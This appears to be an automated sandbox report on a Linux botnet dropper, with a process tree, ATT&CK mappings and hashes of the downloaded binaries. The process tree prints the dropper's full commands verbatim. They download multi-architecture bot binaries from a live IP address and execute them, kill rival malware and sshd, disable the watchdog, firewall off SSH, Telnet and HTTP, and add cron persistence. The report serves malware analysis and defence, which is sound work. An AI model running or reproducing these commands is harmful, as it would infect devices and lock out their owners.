ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/09/2026, 03:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
Size 2KB
Sample260908-ea158azvdz
SHA256 ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
MD5 676a2e012dcf18f74f887dd4362c2b56
SHA1 8bff5ffa0d5efdbc200425f1aeb6b100fc7cb646
SHA512 620ecda3d330fae773c939de5cc099eb6947600f6c189269e42703563ffed5a23dac8a353dc0e975aa7027af7c9139d947f9e017c419c30da866fd007a3c0921
TLSH
T1EA51FDAB66660939385CC55C9C496100B1DF4723012D7914B8BEBFA17F6D9CC63E2774
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
881	chmod
732	chmod
731	chmod
735	chmod
740	chmod
742	chmod
764	chmod
766	chmod
771	chmod
743	chmod
776	chmod
782	chmod
873	chmod
877	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/.lo_bot_v6_arm7	736	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_m68k	738	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_arm64	744	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_sparc	747	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_s390x	752	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_mips	754	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_sh4	768	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_hppa	774	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_mipsel	780	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_x86	787	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_ppc	791	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_arm	874	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_x86_64	879	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_alpha	883	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e

Modifies Watchdog functionality 1 TTPs 1 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	.lo_bot_v6_arm7
File opened for modification	/var/spool/cron/crontabs/root	.lo_bot_v6_arm

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 16 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/166/cmdline	pkill
File opened for reading	/proc/136/status	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/29/stat	killall
File opened for reading	/proc/318/status	pkill
File opened for reading	/proc/670/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/133/cmdline	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/638/cmdline	pkill
File opened for reading	/proc/583/status	pkill
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/106/status	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/291/cmdline	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/295/cmdline	pkill
File opened for reading	/proc/307/cmdline	pkill
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/638/status	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/670/cmdline	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/136/status	pkill
File opened for reading	/proc/670/status	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/640/stat	killall
File opened for reading	/proc/640/cmdline	pkill
File opened for reading	/proc/156/cmdline	pkill
File opened for reading	/proc/166/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/634/status	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/105/cmdline	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/872/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/578/cmdline	pkill
File opened for reading	/proc/642/cmdline	pkill
File opened for reading	/proc/670/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/576/status	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/305/cmdline	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/639/cmdline	pkill
File opened for reading	/proc/323/cmdline	pkill
File opened for reading	/proc/227/status	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/29/status	pkill

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
696	wget
694	wget
754	.lo_bot_v6_mips
780	.lo_bot_v6_mipsel
785	rm
820	rm

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.lo_bot_v6_arm	wget
File opened for modification	/tmp/.lo_bot_v6_x86	wget
File opened for modification	/tmp/.lo_bot_v6_x86_64	wget
File opened for modification	/tmp/.lo_bot_v6_ppc	wget
File opened for modification	/tmp/.lo_bot_v6_hppa	wget
File opened for modification	/tmp/.lo_bot_v6_mips	wget
File opened for modification	/tmp/.lo_bot_v6_alpha	wget
File opened for modification	/tmp/.lo_bot_v6_mipsel	wget
File opened for modification	/tmp/.lo_bot_v6_m68k	wget
File opened for modification	/tmp/.lo_bot_v6_sh4	wget
File opened for modification	/tmp/.lo_bot_v6_arm7	wget
File opened for modification	/tmp/.lo_bot_v6_musl64	wget
File opened for modification	/tmp/.lo_bot_v6_arm64	wget
File opened for modification	/tmp/.lo_bot_v6_sparc	wget
File opened for modification	/tmp/.lo_bot_v6_s390x	wget

/tmp/ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
1⤵
- Executes dropped EXE
- Modifies Watchdog functionality
PID:642
- /bin/rm
  rm -rf .lo ".wget*" ".curl*" ".tftp*" ".ftp*" ".nc*"
  2⤵
  PID:643
- /usr/bin/pkill
  pkill -9 -f mirai
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:647
- /usr/bin/pkill
  pkill -9 -f sora
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:657
- /usr/bin/pkill
  pkill -9 -f owari
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:661
- /usr/bin/pkill
  pkill -9 -f yakuza
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:667
- /usr/bin/pkill
  pkill -9 -f ECCHI
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:671
- /usr/bin/pkill
  pkill -9 -f minerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:673
- /usr/bin/pkill
  pkill -9 -f sshd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:674
- /usr/bin/pkill
  pkill -9 -f pwn
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:677
- /usr/bin/pkill
  pkill -9 -f zmap
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:678
- /usr/bin/pkill
  pkill -9 -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:679
- /usr/bin/pkill
  pkill -9 -f "\\.lo"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:681
- /bin/rm
  rm -f /dev/watchdog
  2⤵
  PID:682
- /usr/bin/pkill
  pkill -9 watchdog
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:683
- /usr/bin/wget
  wget -qO .lo_bot_v6_arm http://178.132.198.200/bins/bot_v6_arm
  2⤵
  - Writes file to tmp directory
  PID:697
- /usr/bin/wget
  wget -qO .lo_bot_v6_arm64 http://178.132.198.200/bins/bot_v6_arm64
  2⤵
  - Writes file to tmp directory
  PID:700
- /usr/bin/wget
  wget -qO .lo_bot_v6_arm7 http://178.132.198.200/bins/bot_v6_arm7
  2⤵
  - Writes file to tmp directory
  PID:698
- /usr/bin/wget
  wget -qO .lo_bot_v6_x86 http://178.132.198.200/bins/bot_v6_x86
  2⤵
  - Writes file to tmp directory
  PID:703
- /usr/bin/wget
  wget -qO .lo_bot_v6_x86_64 http://178.132.198.200/bins/bot_v6_x86_64
  2⤵
  - Writes file to tmp directory
  PID:704
- /usr/bin/wget
  wget -qO .lo_bot_v6_mipsel http://178.132.198.200/bins/bot_v6_mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:696
- /usr/bin/wget
  wget -qO .lo_bot_v6_mips http://178.132.198.200/bins/bot_v6_mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:694
- /usr/bin/wget
  wget -qO .lo_bot_v6_ppc http://178.132.198.200/bins/bot_v6_ppc
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/wget
  wget -qO .lo_bot_v6_sh4 http://178.132.198.200/bins/bot_v6_sh4
  2⤵
  - Writes file to tmp directory
  PID:708
- /usr/bin/wget
  wget -qO .lo_bot_v6_m68k http://178.132.198.200/bins/bot_v6_m68k
  2⤵
  - Writes file to tmp directory
  PID:710
- /usr/bin/wget
  wget -qO .lo_bot_v6_sparc http://178.132.198.200/bins/bot_v6_sparc
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/wget
  wget -qO .lo_bot_v6_alpha http://178.132.198.200/bins/bot_v6_alpha
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/wget
  wget -qO .lo_bot_v6_s390x http://178.132.198.200/bins/bot_v6_s390x
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/wget
  wget -qO .lo_bot_v6_hppa http://178.132.198.200/bins/bot_v6_hppa
  2⤵
  - Writes file to tmp directory
  PID:714
- /usr/bin/wget
  wget -qO .lo_bot_v6_musl64 http://178.132.198.200/bins/bot_v6_musl64
  2⤵
  - Writes file to tmp directory
  PID:717
- /bin/sleep
  sleep 8
  2⤵
  PID:715
- /bin/chmod
  chmod +x .lo_bot_v6_m68k
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /bin/chmod
  chmod +x .lo_bot_v6_arm7
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /usr/bin/curl
  curl -fsSL -o .lo_bot_v6_musl64 http://178.132.198.200/bins/bot_v6_musl64
  2⤵
  - Checks CPU configuration
  PID:733
- /bin/chmod
  chmod +x .lo_bot_v6_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /bin/sleep
  sleep 1
  2⤵
  PID:737
- /bin/sleep
  sleep 1
  2⤵
  PID:739
- /tmp/.lo_bot_v6_arm7
  ./.lo_bot_v6_arm7
  2⤵
  - Creates/modifies Cron job
  PID:736
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 22 -j DROP >/dev/null 2>&1"
    3⤵
    PID:767
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 22 -j DROP
      4⤵
      PID:839
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 23 -j DROP >/dev/null 2>&1"
    3⤵
    PID:858
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 23 -j DROP
      4⤵
      PID:859
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 80 -j DROP >/dev/null 2>&1"
    3⤵
    PID:860
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 80 -j DROP
      4⤵
      PID:861
- - /bin/sh
    sh -c "pkill -9 -f mirai >/dev/null 2>&1"
    3⤵
    PID:862
  - - /usr/bin/pkill
      pkill -9 -f mirai
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:863
- - /bin/sh
    sh -c "pkill -9 -f sora >/dev/null 2>&1"
    3⤵
    PID:864
  - - /usr/bin/pkill
      pkill -9 -f sora
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:865
- - /bin/sh
    sh -c "killall -HUP crond >/dev/null 2>&1"
    3⤵
    PID:866
  - - /usr/bin/killall
      killall -HUP crond
      4⤵
      Reads runtime system information
      PID:867
- /bin/chmod
  chmod +x .lo_bot_v6_sparc
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/.lo_bot_v6_m68k
  ./.lo_bot_v6_m68k
  2⤵
  PID:738
- /bin/chmod
  chmod +x .lo_bot_v6_s390x
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /bin/chmod
  chmod +x .lo_bot_v6_mips
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /bin/sleep
  sleep 1
  2⤵
  PID:745
- /tmp/.lo_bot_v6_arm64
  ./.lo_bot_v6_arm64
  2⤵
  PID:744
- /bin/sleep
  sleep 1
  2⤵
  PID:748
- /tmp/.lo_bot_v6_sparc
  ./.lo_bot_v6_sparc
  2⤵
  PID:747
- /bin/sleep
  sleep 1
  2⤵
  PID:753
- /bin/sleep
  sleep 1
  2⤵
  PID:755
- /tmp/.lo_bot_v6_s390x
  ./.lo_bot_v6_s390x
  2⤵
  PID:752
- /tmp/.lo_bot_v6_mips
  ./.lo_bot_v6_mips
  2⤵
  - System Network Configuration Discovery
  PID:754
- /bin/chmod
  chmod +x .lo_bot_v6_sh4
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /bin/chmod
  chmod +x .lo_bot_v6_hppa
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /bin/sleep
  sleep 1
  2⤵
  PID:769
- /tmp/.lo_bot_v6_sh4
  ./.lo_bot_v6_sh4
  2⤵
  PID:768
- /bin/chmod
  chmod +x .lo_bot_v6_mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /bin/rm
  rm -f .lo_bot_v6_arm7
  2⤵
  PID:773
- /bin/rm
  rm -f .lo_bot_v6_m68k
  2⤵
  PID:772
- /tmp/.lo_bot_v6_hppa
  ./.lo_bot_v6_hppa
  2⤵
  PID:774
- /bin/sleep
  sleep 1
  2⤵
  PID:775
- /bin/chmod
  chmod +x .lo_bot_v6_x86
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /bin/rm
  rm -f .lo_bot_v6_arm64
  2⤵
  PID:778
- /bin/sleep
  sleep 1
  2⤵
  PID:781
- /bin/rm
  rm -f .lo_bot_v6_sparc
  2⤵
  PID:779
- /tmp/.lo_bot_v6_mipsel
  ./.lo_bot_v6_mipsel
  2⤵
  - System Network Configuration Discovery
  PID:780
- /bin/chmod
  chmod +x .lo_bot_v6_ppc
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /bin/rm
  rm -f .lo_bot_v6_s390x
  2⤵
  PID:786
- /bin/busybox
  busybox wget -qO .lo_bot_v6_musl64 http://178.132.198.200/bins/bot_v6_musl64
  2⤵
  PID:784
- /bin/sleep
  sleep 1
  2⤵
  PID:788
- /bin/rm
  rm -f .lo_bot_v6_mips
  2⤵
  - System Network Configuration Discovery
  PID:785
- /tmp/.lo_bot_v6_x86
  ./.lo_bot_v6_x86
  2⤵
  PID:787
- /bin/sleep
  sleep 1
  2⤵
  PID:792
- /tmp/.lo_bot_v6_ppc
  ./.lo_bot_v6_ppc
  2⤵
  PID:791
- /bin/rm
  rm -f .lo_bot_v6_sh4
  2⤵
  PID:818
- /bin/rm
  rm -f .lo_bot_v6_hppa
  2⤵
  PID:819
- /bin/rm
  rm -f .lo_bot_v6_mipsel
  2⤵
  - System Network Configuration Discovery
  PID:820
- /bin/rm
  rm -f .lo_bot_v6_x86
  2⤵
  PID:821
- /bin/rm
  rm -f .lo_bot_v6_ppc
  2⤵
  PID:822
- /bin/chmod
  chmod +x .lo_bot_v6_arm
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /bin/sleep
  sleep 1
  2⤵
  PID:875
- /tmp/.lo_bot_v6_arm
  ./.lo_bot_v6_arm
  2⤵
  - Creates/modifies Cron job
  PID:874
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 22 -j DROP >/dev/null 2>&1"
    3⤵
    PID:886
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 22 -j DROP
      4⤵
      PID:887
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 23 -j DROP >/dev/null 2>&1"
    3⤵
    PID:888
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 23 -j DROP
      4⤵
      PID:889
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 80 -j DROP >/dev/null 2>&1"
    3⤵
    PID:890
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 80 -j DROP
      4⤵
      PID:891
- - /bin/sh
    sh -c "pkill -9 -f mirai >/dev/null 2>&1"
    3⤵
    PID:892
  - - /usr/bin/pkill
      pkill -9 -f mirai
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:893
- - /bin/sh
    sh -c "pkill -9 -f sora >/dev/null 2>&1"
    3⤵
    PID:894
  - - /usr/bin/pkill
      pkill -9 -f sora
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:895
- - /bin/sh
    sh -c "killall -HUP crond >/dev/null 2>&1"
    3⤵
    PID:896
  - - /usr/bin/killall
      killall -HUP crond
      4⤵
      Reads runtime system information
      PID:897
- /bin/chmod
  chmod +x .lo_bot_v6_x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /bin/sleep
  sleep 1
  2⤵
  PID:880
- /bin/chmod
  chmod +x .lo_bot_v6_alpha
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/.lo_bot_v6_x86_64
  ./.lo_bot_v6_x86_64
  2⤵
  PID:879
- /bin/sleep
  sleep 1
  2⤵
  PID:884
- /tmp/.lo_bot_v6_alpha
  ./.lo_bot_v6_alpha
  2⤵
  PID:883
- /bin/rm
  rm -f .lo_bot_v6_arm
  2⤵
  PID:901
- /bin/rm
  rm -f .lo_bot_v6_x86_64
  2⤵
  PID:902
- /bin/rm
  rm -f .lo_bot_v6_alpha
  2⤵
  PID:903

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.lo_bot_v6_alpha

Path /tmp/.lo_bot_v6_alpha
Size 715KB
SHA256 922d0f13756ca68d120133da6b36ac688de3aa43d550cd3107c5f666d22e6d83
MD5 90cedd838a55151d30ba75273d15e12c
SHA1 16556e0b76ff79032ec1bf8f9e53d17eda06da05
SHA512 5247831dde07322f1fe193eb3b84bbc35d1a6bd704fc74ac059969ee3e57a297b8a516b561c086e09a2b83180a1452a4b65669d98175a0cb8d6b0270962cd08f
SSDEEP 12288:1ptOHm9m4OIHFPpbgawjmYO7hjMNMVi/wooO:ffdlBbgLyhJC6
TLSH
T11AF43BFFFC4D6E93C341B3BABE8BD4D24372E351273112CAB6852B1019E58868AF1955
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_arm

Path /tmp/.lo_bot_v6_arm
Size 554KB
SHA256 4451957baeb87210cfbe8e6972186c23716c09b8b4f3305d6fa6869751cadb1a
MD5 39271235fda1b9073cb185903de82d0a
SHA1 05226afd9faa50203c9c13d4d4d9e91123bd986c
SHA512 d83f97501d9685ac08ee85b6c020257eaa3bcbe374c272b5a88b03a3a1a347d1b89e7b49b0e2518ecdf4e9671558dbb0aab531f73e339fc08869871660eba710
SSDEEP 12288:IO3jf/+lY8ItdrcdIuXwI0MjP16G58hNpS8pHLbB:T3j58IH0IQwJMj103v
TLSH
T1D7C42855F8809F61C6C539B6F74D42A873174B79D3EB72069A245B303BEB86B0F3A601
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_arm64

Path /tmp/.lo_bot_v6_arm64
Size 594KB
SHA256 8fc7d0505c04ca05f96f6c24a2181923c235f17b6e9276db1ea693b3092ce824
MD5 21ffa2ac98b2cd59458758d3880f3e57
SHA1 df3974239e74cfb7a23301702c1bc94aa2b55889
SHA512 278475e03b0505ec2c8f56dca37df12f80649380e9ca8d9586063182ba3865f6d4ab988a27374e0f2a2deb3acd50e003441e6c4935f4adf24c49296b00fbede9
SSDEEP 12288:rSbnmitqH6ExzZB53gX5qoGHAGOLcs5oV2y3J:rSbwHRzZBdo9GjR
TLSH
T12DD47D99FE4E3C02E3C7E3389B4983E1632B75E4E32352627941531CD9D6AE9CBA1911
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_arm7

Path /tmp/.lo_bot_v6_arm7
Size 410KB
SHA256 0f11ed0b5a721f49641869d493403de9b1b031647e4c70ee88db580f1fdf77a3
MD5 4b0ce16a1088267f39a485a15d3dbd03
SHA1 cd36615a7efbe0168631d9a0f758a3ea74d1875d
SHA512 4a25d7c13129665fdb04f53f817b6d4738548ddaad2f8efec7b940ed9eb528d6f61d31a8ceb11c1492062a4ee4abe569a1d473954ce12ea8af76f5f005037970
SSDEEP 12288:wjcVLwXLQ/p2HfL1TGaq644DnB8p5fLZBSX:zVBaL1SajiD
TLSH
T10094D15AF30A3E83D8D7D535248AC2455B55ED6633E383063B4669BE38393778F28389
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_hppa

Path /tmp/.lo_bot_v6_hppa
Size 617KB
SHA256 12319ad9b5b14cf8be69ee88ba97d690280150ebbc7e9addf99234ba4ddb2e55
MD5 efdc59ae1305f50ae20ce463dcff7015
SHA1 73626f100a5d081c9b221f8267d80cd0596ae02b
SHA512 e086b9e3a014e8b3101b3b2a39b38fee19192e56917b62e781333a9b65e5249ab66691005a6b444e0d626f706c1f0284e8d78268704a10bbb3d393cab198004f
SSDEEP 12288:L4r+d0UDBV0yuP8/pNbdgl8K2qleu4hLUDfoDBFN+Ga8pfnoXQKi9p:kzU/0f0/alULUDgRotC
TLSH
T170D48DAFE7AA54D3C824D27E4FD763695C3146F026738414ABC9204B930B3E85ADCAD7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_m68k

Path /tmp/.lo_bot_v6_m68k
Size 507KB
SHA256 2f756bc937c4ff52b593657ec789dfefd3c15d1ea6d6b09f16c8905b2e15be51
MD5 c47ec698ba62d4d82a68997562f5dde9
SHA1 7176df4655a5f66f06e713d46d6545f959b46afc
SHA512 7d6e53ccfab4100e56cb2ea0ec2d84d884f9d7c19832420aa315955be2cb3593198fddd8d08f93e435f1f12d5be4a5fc6fe512d266a160fa5aaaa2bd987f0109
SSDEEP 12288:3mexXBsI7UVHVBF3gKBnotplDEWkMN6Oc/hVsaAM:3mMsvVfF37o9KVsap
TLSH
T1F5B4BF8673061E36F0B3A93E80D64B12BA38E78155C367272168B665AD375BC2F317C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_mips

Path /tmp/.lo_bot_v6_mips
Size 691KB
SHA256 5da624914dd16732cefeacbd3c01fbf213693dc16d7bb65364dfbe873854d66a
MD5 14ee15dfea820f329c9c34bc6ec17179
SHA1 f78424961a39beb628e40967b1e319ee464156dd
SHA512 e05862acdeb1450462d5eecf455407de77e85ad778fc0deeb65e6edf5e9087fb84f625a1bebfb1ca72cd369ac5633e1cf489a5a2d4d2dc8fae2ee55fc4bcc7b8
SSDEEP 12288:Lzy4WgU1QVmmzVcQfAXwDez/b7RQH8ayGWmBm8pvMEMtn:K4WgU1Q9BfYwDezT7RC8aNWmmEa
TLSH
T126E46B633B11CFA5E319D27009F3C6659AD425A31AE25085B27CC31C7E61A6E2D1FEF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_mipsel

Path /tmp/.lo_bot_v6_mipsel
Size 695KB
SHA256 f8381d418351dacc32c914005aab7e7d597afea3a4276c34eac2ea2d3ece3eeb
MD5 c046f1d1efe799245c9bd3acfaff3974
SHA1 9a3d4a8257249e3020a453db395270831919575c
SHA512 c0511951ea6ced9d7365806bf6b26d2e0629799c56dbc4019f978b4878b4795c3a46d47264e34be0a67ccea0078aee3cb46c0b3787589d0f28b20c9e834e38b0
SSDEEP 12288:uCYpn0GZtM35YiGXUOO4Zf/Nb/fNt6An/GtR3J8PwfKlONoHHPbHueBT5smVSSpR:PQ7r9k7RcvUMgbIM17
TLSH
T1FDE44A03BF805FFBC4AFCD70892EC35611DDE9D702D1A62A71FC4A8CBA5965A0AD3548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_ppc

Path /tmp/.lo_bot_v6_ppc
Size 774KB
SHA256 c248a73fd6b4df360938f7cbd1a829114f01d303b61e2ae67474ca0bba546903
MD5 371df4ec8c3b0c29abf5546e186e4af0
SHA1 0948bb4187373683909b6e51ce90a0defe6d0885
SHA512 55ee143c5045f0a825afc42cba3c8b2c86be8bd787a51bd4b0561eeb92590663a468d53b0083dd493bcfb90f3b27f44e809a1e4dbffdb3c88fca6f9b18b07c08
SSDEEP 12288:B4YIKgdr8nYMt3fPqSmgkGpkRP3LfGlRAnkO0bdJygepQBgpbWwZcl:CYIKgdr8nDcSmPGpkxTGYkO0LgEwW
TLSH
T192F44A46FB1C4523C9531DF02A3F43D9F3147A4340F5D22A270E6B572622E3AAAD779A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_s390x

Path /tmp/.lo_bot_v6_s390x
Size 654KB
SHA256 0b51f161c85408c1f679aefae055e08bcb2f70514dccf91c8260bfc8be73cbf5
MD5 876d891ad5c1c098819b1a0198f78356
SHA1 2b6575a1ee71fa5cd25402f5a6b45b40413b0c1a
SHA512 46c66e6f8c1ecab4b738582923551cafdf16388c56612749c86430cea7db686706927881b9cae979f603c4f0c2ba5b135888cbfc5911f7b9a956e7e856719094
SSDEEP 12288:G9/7v8ak+VKlSs/K2JUGRdUsvsCi3ZsjVabEBxeES3sde:mvNZsS2yds01Zskpk
TLSH
T1D2E44A87BB288996C0706E37E1B7EBF183A77A7519D85A0D8C58F72744B2304CB15DA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_sh4

